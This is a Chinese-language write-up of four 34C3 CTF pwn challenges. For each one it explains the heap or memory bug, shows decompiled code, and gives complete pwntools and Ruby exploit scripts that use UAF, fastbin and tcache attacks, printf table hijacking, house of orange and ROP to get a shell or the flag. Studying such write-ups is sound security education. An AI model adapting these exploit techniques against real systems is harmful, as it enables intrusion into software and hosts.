1. SimpleGC
漏洞点在删除user减少group的引用计数时,程序的实现是遍历整个group数组找到一样的进行减1,如果先添加一个不存在的group的user,然后把该user的group修改成已存在的,在删除该user时就会把之前已存在的group free掉导致UAF
void __fastcall dec_group_refcount(const char *a1)
{
unsigned __int16 i; // [sp+1Eh] [bp-2h]@1
for ( i = 0; i <= 0x5Fu; ++i )
{
if ( *(&group + i) && !strcmp(a1, *(const char **)*(&group + i)) )
{
if ( *((_BYTE *)*(&group + i) + 8) )
--*((_BYTE *)*(&group + i) + 8);
}
}
}
由于free group是在另一个线程中,在GLIBC 2.26下free掉的chunk会先放到tcache中导致有个坑点,tcache可以参考http://tukan.farm/2017/07/08/tcache/
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif
可以先free掉一些group,把另一个线程的tcache中相应bin的chunk填满,之后覆盖fd
进行fastbin attack就比较容易了,exploit如下
from pwn import *
import time
LOCAL = 0
VERBOSE = 1
DEBUG = 0
context.arch = 'amd64'
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./sgc')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if DEBUG:
gdb.attach(io)
else:
io = remote('35.198.176.224', 1337)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add_user(name, group, age):
io.recvuntil('Action: ')
io.sendline('0')
io.recvuntil('Please enter the user\'s name: ')
io.send(name)
io.recvuntil('Please enter the user\'s group: ')
io.send(group)
io.recvuntil('Please enter your age: ')
io.sendline(str(age))
def display_user(index):
io.recvuntil('Action: ')
io.sendline('2')
io.recvuntil('Enter index: ')
io.sendline(str(index))
def edit_group(index, group, is_propagate):
io.recvuntil('Action: ')
io.sendline('3')
io.recvuntil('Enter index: ')
io.sendline(str(index))
io.recvuntil('group(y/n): ')
io.sendline(is_propagate)
io.recvuntil('Enter new group name: ')
io.send(group)
def del_user(index):
io.recvuntil('Action: ')
io.sendline('4')
io.recvuntil('Enter index: ')
io.sendline(str(index))
elf = ELF('./sgc')
add_user('1111\n', 'AAAA\n', 1)
del_user(0)
time.sleep(1)
add_user('2222\n', 'BBBB\n', 2)
del_user(0)
time.sleep(1)
add_user('3333\n', 'CCCC\n', 3)
del_user(0)
time.sleep(1)
add_user('4444\n', 'DDDD\n', 4)
del_user(0)
time.sleep(1)
for i in range(20):
add_user('5555\n', 'EEEE\n', i)
for i in range(20):
del_user(i)
time.sleep(1)
add_user('6666\n', 'FFFF\n', 0x60)
add_user('7777\n', 'GGGG\n', 0x61)
add_user('8888\n', 'HHHH\n', 0xd0)
edit_group(1, 'FFFF\n', 'y')
del_user(1)
time.sleep(1)
heap_offset = 0xc0
display_user(0)
io.recvuntil('Group: ')
leak_heap_addr = u64(io.recvuntil('\n')[:-1].ljust(8, '\x00'))
user3_heap_addr = leak_heap_addr + heap_offset
log.info('leak_heap_addr:%#x' % leak_heap_addr)
log.info('user3_heap_addr:%#x' % user3_heap_addr)
edit_group(0, p64(user3_heap_addr) + '\n', 'y')
edit_group(2, 'IIII\n', 'n')
edit_group(2, '\x00\x00\x00\x00\n', 'n')
edit_group(2, 'KKKK\n', 'n')
add_user('4444\n', p64(0) + p64(elf.got['atoi']) * 2, 4)
display_user(2)
io.recvuntil('Group: ')
free_addr = u64(io.recvuntil('\n')[:-1].ljust(8, '\x00'))
libc_addr = free_addr - libc.symbols['atoi']
system_addr = libc_addr + libc.symbols['system']
log.info('libc_addr:%#x' % libc_addr)
log.info('system_addr:%#x' % system_addr)
edit_group(2, p64(system_addr)[:6] + '\n', 'y')
io.recvuntil('Action: ')
io.sendline('2')
io.recvuntil('Enter index: ')
io.sendline('sh\x00')
io.interactive()
# 34C3_th4t_garb4ge_c0llect0r_w4s_garbage_heh
2. readme_revenge
题目代码很简单,bss段上的缓冲区溢出后调用printf
.text:0000000000400A0D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400A0D public main
.text:0000000000400A0D main proc near ; DATA XREF: _start+1Do
.text:0000000000400A0D
.text:0000000000400A0D var_s0 = qword ptr 0
.text:0000000000400A0D
.text:0000000000400A0D push rbp
.text:0000000000400A0E mov rbp, rsp
.text:0000000000400A11 lea rsp, [rsp-1020h]
.text:0000000000400A19 or [rsp+var_s0], 0
.text:0000000000400A1E lea rsp, [rsp+1020h]
.text:0000000000400A26 lea rsi, name
.text:0000000000400A2D lea rdi, aS_2 ; "%s"
.text:0000000000400A34 mov eax, 0
.text:0000000000400A39 call __isoc99_scanf
.text:0000000000400A3E lea rsi, name
.text:0000000000400A45 lea rdi, aHiS_Bye_ ; "Hi, %s. Bye.\n"
.text:0000000000400A4C mov eax, 0
.text:0000000000400A51 call printf
.text:0000000000400A56 mov eax, 0
.text:0000000000400A5B pop rbp
.text:0000000000400A5C retn
.text:0000000000400A5C main endp
flag
在程序的data段上,自然而然想到__stack_chk_fail_local
,再看name
的地址是0x6B73E0
,__libc_argv
的地址是0x6B7980
,刚好在name
下面。剩下就是找控PC的办法,name
往下再看还有几个printf
相关的变量__printf_function_table
、__printf_modifier_table
,__printf_arginfo_table
,__printf_va_arg_table
,于是看printf
的源码,在__parse_one_specmb
函数中有如下代码
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
因此把__printf_function_table
赋值为非0,对__printf_arginfo_table[ord('s')]
赋值就可以控PC了,exploit如下
from pwn import *
LOCAL = 0
VERBOSE = 1
DEBUG = 1
context.arch = 'amd64'
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./readme_revenge')
if DEBUG:
gdb.attach(io, 'b *0x0000000000400A51\n')
else:
io = remote('35.198.130.245', 1337)
name_addr = 0x00000000006B73E0
argv_offset = 0x5a0
offset = 0x00000000006B7A28 - name_addr
payload = p64(0x00000000006B4040) + p64(0)
payload = payload.ljust(0x73 * 8, 'A')
payload += p64(0x4359B0)
payload += 'A' * 8
payload = payload.ljust(argv_offset, 'A')
payload += p64(name_addr)
payload = payload.ljust(offset, 'A')
payload += p64(name_addr+8)
payload += p64(0)
payload += 'A' * (0x00000000006B7AA8 - 0x00000000006B7A38)
payload += p64(name_addr)
payload += p64(name_addr+8)
io.sendline(payload)
io.interactive()
# 34C3_printf_1s_s0_fun_s0m3t1m3s!!11
3. 300
题目代码也很简单,漏洞点是在free_it
函数中,free完后没有把相应位置置空导致UAF
void __fastcall free_it(int slot)
{
free(allocs[slot]);
}
利用思路就是伪造一个overlapping unsorted bin进行house of orange,但GLIBC 2.24有_IO_vtable_check
校验vtable,可以把vtable改成IO_str_jumps
,参考http://simp1e.leanote.com/post/Hctf-2017-babyprintf,exploit如下
from pwn import *
LOCAL = 0
VERBOSE = 0
DEBUG = 0
context.arch = 'amd64'
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./300', env={'LD_PRELOAD': './libc.so.6'})
libc = ELF('./libc.so.6')
libc_offset = 0x3c1b58
heap_offset = 0x620
if DEBUG:
gdb.attach(io)
else:
io = remote('104.199.25.43', 1337)
libc = ELF('./libc.so.6')
libc_offset = 0x3c1b58
heap_offset = 0x620
def alloc_it(slot):
io.recvuntil('4) free\n')
io.sendline('1')
io.recvuntil('slot? (0-9)\n')
io.sendline(str(slot))
def write_it(slot, content):
io.recvuntil('4) free\n')
io.sendline('2')
io.recvuntil('slot? (0-9)\n')
io.sendline(str(slot))
io.send(content)
def print_it(slot):
io.recvuntil('4) free\n')
io.sendline('3')
io.recvuntil('slot? (0-9)\n')
io.sendline(str(slot))
def free_it(slot):
io.recvuntil('4) free\n')
io.sendline('4')
io.recvuntil('slot? (0-9)\n')
io.sendline(str(slot))
alloc_it(0)
alloc_it(1)
alloc_it(2)
alloc_it(3)
alloc_it(4)
alloc_it(5)
free_it(0)
print_it(0)
leak_libc_addr = u64(io.recvuntil('\n')[:6].ljust(8, '\x00'))
libc_addr = leak_libc_addr - libc_offset
log.info('leak_libc_addr:%#x' % leak_libc_addr)
log.info('libc_addr:%#x' % libc_addr)
free_it(2)
free_it(4)
print_it(4)
leak_heap_addr = u64(io.recvuntil('\n')[:6].ljust(8, '\x00'))
heap_base_addr = leak_heap_addr - heap_offset
log.info('leak_heap_addr:%#x' % leak_heap_addr)
log.info('heap_base_addr:%#x' % heap_base_addr)
# recover
free_it(5)
free_it(3)
free_it(1)
alloc_it(0)
alloc_it(1)
alloc_it(2)
alloc_it(3)
alloc_it(4)
alloc_it(5)
free_it(0)
free_it(2)
free_it(4)
write_it(4, p64(heap_base_addr+0xc20)+p64(leak_libc_addr))
write_it(3, 'A' * 0x2e0 + p64(0) + p64(0x311) + p64(heap_base_addr) + p64(heap_base_addr+0xc40))
write_it(0, p64(leak_libc_addr) + p64(heap_base_addr + 0xc20))
alloc_it(6)
alloc_it(6)
payload = 'A' * 0x10
real_io_list=libc_addr+libc.symbols['_IO_list_all']
real_system=libc_addr+libc.symbols['system']
real_binsh=libc_addr+next(libc.search('/bin/sh'))
vtable_addr=libc_addr+0x3BE4C0
fake_chunk = '\x00'*8+p64(0x61) # smallbin[4]
fake_chunk += p64(0xddaa)+p64(real_io_list-0x10)
fake_chunk += p64(0xffffffffffffff)+p64(0x2)+p64(0)*2+p64((real_binsh-0x64)/2)
fake_chunk = fake_chunk.ljust(0xa0,'\x00')
fake_chunk += p64(real_system+0x420)
fake_chunk = fake_chunk.ljust(0xc0,'\x00')
fake_chunk += p64(1)
fake_chunk += p64(0)
fake_chunk += p64(0)
fake_chunk += p64(vtable_addr)
fake_chunk += p64(real_system)
fake_chunk += p64(2)
fake_chunk += p64(3)
payload = 'A' * 0x10 + fake_chunk
write_it(6, payload)
alloc_it(7)
io.recvuntil('[vsyscall]\n')
io.sendline('cat home/user/flag')
print io.recv()
io.interactive()
# 34C3_but_does_your_exploit_work_on_1710_too
4. LFA
LFA.so
是一个ruby的c扩展,再看patch是把syscall禁了,只允许有限的几个,通过看patch猜测是要我们通过ROP执行readv
和write
输出flag
+ struct sock_filter filter[] = {
+ VALIDATE_ARCHITECTURE,
+ LOAD_SYSCALL_NR,
+ SECCOMP_SYSCALL(__NR_exit, ALLOW),
+ SECCOMP_SYSCALL(__NR_exit_group, ALLOW),
+ SECCOMP_SYSCALL(__NR_brk, ALLOW),
+ SECCOMP_SYSCALL(__NR_mmap, JUMP(&l, mmap)),
+ SECCOMP_SYSCALL(__NR_munmap, ALLOW),
+ SECCOMP_SYSCALL(__NR_mremap, ALLOW),
+ SECCOMP_SYSCALL(__NR_readv, ALLOW),
+ SECCOMP_SYSCALL(__NR_futex, ALLOW),
+ SECCOMP_SYSCALL(__NR_close, ALLOW),
+ SECCOMP_SYSCALL(__NR_write, JUMP(&l, write)),
+ SECCOMP_SYSCALL(__NR_rt_sigaction, ALLOW),
+ DENY,
+
+ LABEL(&l, mmap),
+ ARG(0),
+ JNE(0, DENY),
+ ARG(2),
+ JNE(PROT_READ|PROT_WRITE, DENY),
+ ARG(3),
+ JNE(MAP_PRIVATE|MAP_ANONYMOUS, DENY),
+ ARG(4),
+ JNE(-1, DENY),
+ ARG(5),
+ JNE(0, DENY),
+ ALLOW,
+
+ LABEL(&l, write),
+ ARG(0),
+ JEQ(STDOUT_FILENO, ALLOW),
+ JEQ(STDERR_FILENO, ALLOW),
+ DENY,
+ };
接下来就是在LFA.so
中找漏洞,漏洞是在remove
函数中
signed __int64 __fastcall remove(__int64 self, _DWORD *index_1)
{
unsigned int index; // ebx@12
array *array; // rax@15
array *v5; // rdi@17
array *v6; // rdx@17
int start; // ecx@18
int flag; // er8@22
signed int v9; // ecx@22
int v10; // ecx@23
array *i; // rcx@26
array *v12; // rdx@29
char *v13; // rsi@33
signed __int64 v14; // rcx@33
char *v15; // rdi@33
if ( (unsigned __int8)index_1 & 7 )
{
if ( !((unsigned __int8)index_1 & 1) )
{
if ( ((unsigned __int8)index_1 & 3) == 2
|| ((unsigned __int64)index_1 & 0xFFFFFFFFFFFFFFDFLL) == 20
|| (_BYTE)index_1 == 12
|| (*index_1 & 0x1F) != 21 )
{
return 0LL;
}
LABEL_12:
index = rb_num2int(index_1);
goto LABEL_14;
}
}
else
{
if ( !((unsigned __int64)index_1 & 0xFFFFFFFFFFFFFFF7LL) || (*index_1 & 0x1F) != 21 )
return 0LL;
if ( !((unsigned __int8)index_1 & 1) )
goto LABEL_12;
}
index = rb_fix2int(index_1);
LABEL_14:
if ( (index & 0x80000000) != 0 )
return 0LL;
LODWORD(array) = rb_check_typeddata(self, (__int64)&off_201DC0);
if ( array->size <= index )
return 0LL;
if ( array->bitmap )
return 0LL;
v5 = (array *)array->buf;
v6 = (array *)array->buf;
if ( !v5 )
return 0LL;
while ( 1 )
{
start = v6->size;
if ( index >= v6->size && index <= start + 15 )
break;
v6 = (array *)v6->buf;
if ( !v6 )
return 0LL;
}
flag = v6->bitmap;
v9 = 1 << (index - start);
if ( !(flag & v9) )
return 0LL;
v10 = flag & ~v9;
v6->bitmap = v10;
if ( !v10 )
{
if ( v5->bitmap )
{
for ( i = v5; ; i = (array *)i->buf )
{
v12 = (array *)i->buf;
if ( !v12 || !v12->bitmap )
break;
}
i->buf = v12->buf;
}
else
{
v5 = (array *)v5->buf;
array->buf = (int *)v5;
}
if ( !v5->buf && !v5->size )
{
v13 = (char *)v5->data;
v14 = 16LL;
array->buf = array->data;
v15 = (char *)array->data;
while ( v14 )
{
*(_DWORD *)v15 = *(_DWORD *)v13;
v13 += 4;
v15 += 4;
--v14;
}
array->bitmap = 1;
}
}
return 20LL;
}
可以看到删除元素后当数组的最大索引值小于16时没有改数组的length,但是把bitmap赋值为了1,这样在get
函数和set
函数中就有一个OOB导致的读和写了
signed __int64 __fastcall set(__int64 self, _DWORD *a2, __int64 a3)
{
signed __int64 result; // rax@7
__int64 v4; // ST08_8@12
int v5; // eax@12
__int64 arg2; // rdx@12
__int64 index; // rbp@12
__int64 v8; // ST08_8@13
int v9; // eax@13
int arg2_value; // er12@16
array *array1; // rax@17
array *array2; // r13@17
__int64 v13; // rax@19
array *v14; // rbx@19
int *v15; // rdx@19
int v16; // edx@25
array *v17; // rax@28
array *v18; // rax@23
char *v19; // rdx@30
if ( (unsigned __int8)a2 & 7 )
{
if ( !((unsigned __int8)a2 & 1) )
{
if ( ((unsigned __int64)a2 & 0xFFFFFFFFFFFFFFDFLL) == 20
|| ((unsigned __int8)a2 & 3) == 2
|| (_BYTE)a2 == 12
|| (*a2 & 0x1F) != 0x15 )
{
return 0LL;
}
goto LABEL_12;
}
}
else
{
if ( !((unsigned __int64)a2 & 0xFFFFFFFFFFFFFFF7LL) || (*a2 & 0x1F) != 21 )
return 0LL;
if ( !((unsigned __int8)a2 & 1) )
{
LABEL_12:
v4 = a3;
v5 = rb_num2int(a2);
arg2 = v4;
index = v5;
goto LABEL_14;
}
}
v8 = a3;
v9 = rb_fix2int(a2);
arg2 = v8;
index = v9;
LABEL_14:
if ( (signed int)index < 0 )
return 0LL;
if ( arg2 & 1 )
arg2_value = rb_fix2int(arg2);
else
arg2_value = rb_num2int(arg2);
LODWORD(array1) = rb_check_typeddata(self, (__int64)&off_201DC0);
array2 = array1;
if ( array1->bitmap )
{
if ( array1->length <= (unsigned int)index )
{
array1->bitmap = 0;
array1->length = index + 1;
LODWORD(v13) = ruby_xmalloc(0x50LL);
*(_DWORD *)v13 = 0;
*(_QWORD *)(v13 + 8) = 0LL;
*(_DWORD *)(v13 + 4) = 0xFFFF;
v14 = (array *)v13;
*(_OWORD *)(v13 + 16) = 0LL;
*(_OWORD *)(v13 + 32) = 0LL;
*(_OWORD *)(v13 + 48) = 0LL;
*(_OWORD *)(v13 + 64) = 0LL;
v15 = array2->buf;
*(__m128i *)(v13 + 16) = _mm_loadu_si128((const __m128i *)v15);
*(__m128i *)(v13 + 32) = _mm_loadu_si128((const __m128i *)v15 + 1);
*(__m128i *)(v13 + 48) = _mm_loadu_si128((const __m128i *)v15 + 2);
*(__m128i *)(v13 + 64) = _mm_loadu_si128((const __m128i *)v15 + 3);
array2->buf = (int *)v13;
goto LABEL_25;
}
result = 20LL;
array2->buf[index] = arg2_value;
}
else
{
if ( (unsigned int)index >= array1->length )
array1->length = index + 1;
v14 = (array *)array1->buf;
if ( !v14 )
{
LODWORD(v18) = ruby_xmalloc(80LL);
v19 = (char *)&v18->data[1];
v18->length = index;
v18->buf = 0LL;
*(_OWORD *)&v18->data[1] = 0LL;
*((_QWORD *)v19 + 6) = 0LL;
*((_DWORD *)v19 + 14) = 0;
*((_OWORD *)v19 + 1) = 0LL;
*((_OWORD *)v19 + 2) = 0LL;
v18->data[0] = arg2_value;
v18->bitmap = 1;
::v8 = v18;
BUG();
}
LABEL_25:
while ( 1 )
{
v16 = v14->length;
if ( (unsigned int)index >= v14->length && (unsigned int)index <= v16 + 15 )
break;
if ( !v14->buf )
{
LODWORD(v17) = ruby_xmalloc(0x50LL);
v17->length = index;
v17->buf = 0LL;
*(_QWORD *)&v17->data[13] = 0LL;
v17->data[15] = 0;
v17->data[0] = arg2_value;
*(_OWORD *)&v17->data[1] = 0LL;
v17->bitmap = 1;
*(_OWORD *)&v17->data[5] = 0LL;
*(_OWORD *)&v17->data[9] = 0LL;
v14->buf = (int *)v17;
return 20LL;
}
v14 = (array *)v14->buf;
}
v14->data[(unsigned int)(index - v16)] = arg2_value;
v14->bitmap |= 1 << (index - v16);
result = 20LL;
}
return result;
}
如果删除很大length的数组,set时校验index通过,第86行就能够越界写
signed __int64 __fastcall get(__int64 self, _DWORD *arg1)
{
int v2; // eax@7
__int64 index; // rbx@7
int v5; // eax@13
array *array; // rax@14
array *v7; // rdx@15
int v8; // eax@17
if ( (unsigned __int8)arg1 & 7 )
{
if ( !((unsigned __int8)arg1 & 1) )
{
if ( ((unsigned __int64)arg1 & 0xFFFFFFFFFFFFFFDFLL) == 0x14
|| ((unsigned __int8)arg1 & 3) == 2
|| (_BYTE)arg1 == 0xC
|| (*arg1 & 0x1F) != 0x15 )
{
return 8LL;
}
LABEL_7:
v2 = rb_num2int(arg1);
index = v2;
if ( v2 < 0 )
return 8LL;
goto LABEL_14;
}
}
else
{
if ( !((unsigned __int64)arg1 & 0xFFFFFFFFFFFFFFF7LL) || (*arg1 & 0x1F) != 21 )
return 8LL;
if ( !((unsigned __int8)arg1 & 1) )
goto LABEL_7;
}
v5 = rb_fix2int(arg1);
index = v5;
if ( v5 < 0 )
return 8LL;
LABEL_14:
LODWORD(array) = rb_check_typeddata(self, (__int64)&off_201DC0);
if ( array->length > (unsigned int)index )
{
v7 = (array *)array->buf;
if ( array->bitmap )
return 2LL * *(&v7->length + index) + 1;
while ( v7 )
{
v8 = v7->length;
if ( (unsigned int)index >= v7->length && (unsigned int)index <= v8 + 15 )
{
if ( !((1 << (index - v8)) & v7->bitmap) )
return 8LL;
return 2LL * v7->data[(unsigned int)(index - v8)] + 1;
}
v7 = (array *)v7->buf;
}
}
return 8LL;
}
同set
函数,46行能够越界读。我的利用思路是喷射RString
然后改它的ptr
来进行任意地址读,喷射RArray
通过改它的ptr
来修改LFA
对象的ptr
,再通过set LFA对象来实现任意地址写,最后参考https://david942j.blogspot.jp/2017/11/official-write-up-hitcon-ctf-2017.html找到__libc_start_main_ret
的栈地址写ROP链执行输出flag,exploit如下
GC.disable
arr = LFA.new
arr_addr = arr.__id__ * 2
puts 'arr_addr: 0x' + arr_addr.to_s(16)
spray_arr = Array.new(0x1000)
i = 0
while i < spray_arr.length do
if i % 2 == 0
spray_arr[i] = String.new('A' * 0x50)
else
spray_arr[i] = Array.new(0x50)
end
i += 1
end
arr[0x80000000-1] = 1
arr.remove(0x80000000-1)
finded = Array[0, 0]
i = 0
while i < 0x80000000 do
if arr[i] == 0x506005 and arr[i+1] == 0 and arr[i+4] == 0x50 and arr[i+5] == 0 and finded[0] == 0
arr[i+4] = 0x60
finded[0] = 1
arr_str_index = i
puts 'str: ' + i.to_s()
elsif arr[i] == 7 and arr[i+1] == 0 and arr[i+4] == 0x50 and arr[i+5] == 0 and arr[i+6] == 0x50 and arr[i+7] == 0 and finded[1] == 0
arr[i+4] = 0x70
arr[i+6] = 0x70
finded[1] = 1
arr_arr_index = i
puts 'arr: ' + i.to_s()
end
if finded[0] == 1 and finded[1] == 1
break
end
i += 1
end
finded = Array[0, 0]
i = 0
while i < spray_arr.length do
if spray_arr[i].length == 0x60 and finded[0] == 0
target_str = spray_arr[i]
target_str_index = i
finded[0] = 1
elsif spray_arr[i].length == 0x70 and finded[1] == 0
target_arr = spray_arr[i]
target_arr_index = i
finded[1] = 1
end
if finded[0] == 1 and finded[1] == 1
break
end
i += 1
end
target_str_addr = target_str.__id__ * 2
puts 'target_str_addr: 0x' + target_str_addr.to_s(16)
target_arr_addr = target_arr.__id__ * 2
puts 'target_arr_addr: 0x' + target_arr_addr.to_s(16)
leak = lambda do |addr|
return 0 if addr.to_s(16).chars.count{|c|c=='0'} > 6
low = addr & 0xffffffff
if (low & 0x80000000) != 0
low = -((1<<32) - low)
end
arr[arr_str_index+6] = low
arr[arr_str_index+7] = (addr >> 32) & 0xffffffff
target_str[0, 8].unpack("Q*")[0]
end
leak_lfa_addr = leak.call(arr_addr + 0x10)
lfa_arr_addr = leak.call(arr_addr + 0x20)
puts 'leak_lfa_addr: 0x' + leak_lfa_addr.to_s(16)
puts 'lfa_arr_addr: 0x' + lfa_arr_addr.to_s(16)
leak_libc_addr = leak.call(leak_lfa_addr + 0x238)
libc_addr = leak_libc_addr - 0x3c1a0
puts 'leak_libc_addr: 0x' + leak_libc_addr.to_s(16)
puts 'libc_addr: 0x' + libc_addr.to_s(16)
leak_stack = leak.call(libc_addr + 0x3df418)
stack_ret = leak_stack - 0xe0
puts 'leak_stack: 0x' + leak_stack.to_s(16)
puts 'stack_ret: 0x' + stack_ret.to_s(16)
transform = lambda do |val|
if (val & 0x80000000) != 0
val = -((1<<32) - val)
end
val
end
arr[arr_arr_index+8] = transform.call((lfa_arr_addr + 8) & 0xffffffff)
arr[arr_arr_index+9] = ((lfa_arr_addr + 8) >> 32) & 0xffffffff
arr[0] = transform.call((lfa_arr_addr + 0x20) & 0xffffffff)
arr[1] = ((lfa_arr_addr + 0x20) >> 32) & 0xffffffff
arr[2] = 0x60
pop_rax = 0x00000000000234c3
pop_rdi = 0x0000000000020b8b
pop_rsi = 0x0000000000020a0b
pop_rdx = 0x0000000000001b96
syscall_ret = 0x00000000000c7f75
target_arr[0] = (stack_ret - 1) / 2
write = lambda do |idx, val|
low = (val & 0xffffff) << 8
if (low & 0x80000000) != 0
low = -((1<<32) - low)
end
arr[idx*2] = low
arr[idx*2+1] = (val >> 24)
end
rop1 = [libc_addr + pop_rax, 19, libc_addr + pop_rdi, 1023, libc_addr + pop_rsi, lfa_arr_addr + 0x10, libc_addr + pop_rdx, 1, libc_addr + syscall_ret]
rop = rop1 + [libc_addr + pop_rax, 1, libc_addr + pop_rdi, 1, libc_addr + pop_rsi, lfa_arr_addr + 0x20, libc_addr + pop_rdx, 0x60, libc_addr + syscall_ret]
rop.each_with_index do |v, i|
write.call(i, v)
end
exit
from pwn import *
LOCAL = 0
context.log_level = 'debug'
context.arch = 'amd64'
if LOCAL:
io = process(['python', 'server.py'])
else:
io = remote('35.198.184.75', 1337)
if LOCAL == 0:
io.recvuntil('Proof of work challenge: ')
challenge = io.recvuntil('\n')[:-1]
io.recvuntil('Your response? ')
pow_proc = process(['./pow.py', challenge])
pow_proc.recvuntil('Solution: ')
solution = pow_proc.recvuntil('\n')[:-1]
log.info('solution:%s' % solution)
io.sendline(solution)
def send(content):
io.recvuntil('code> ')
io.send(content)
payload = open('c.rb', 'r')
data = payload.read()
data = data.replace('\n', ';')
io.recv()
io.sendline(data)
send('END_OF_PWN\n')
io.recv()
io.interactive()
# 34C3_H0pe_Th1s_ChALl3nG3_WaS_4_G3M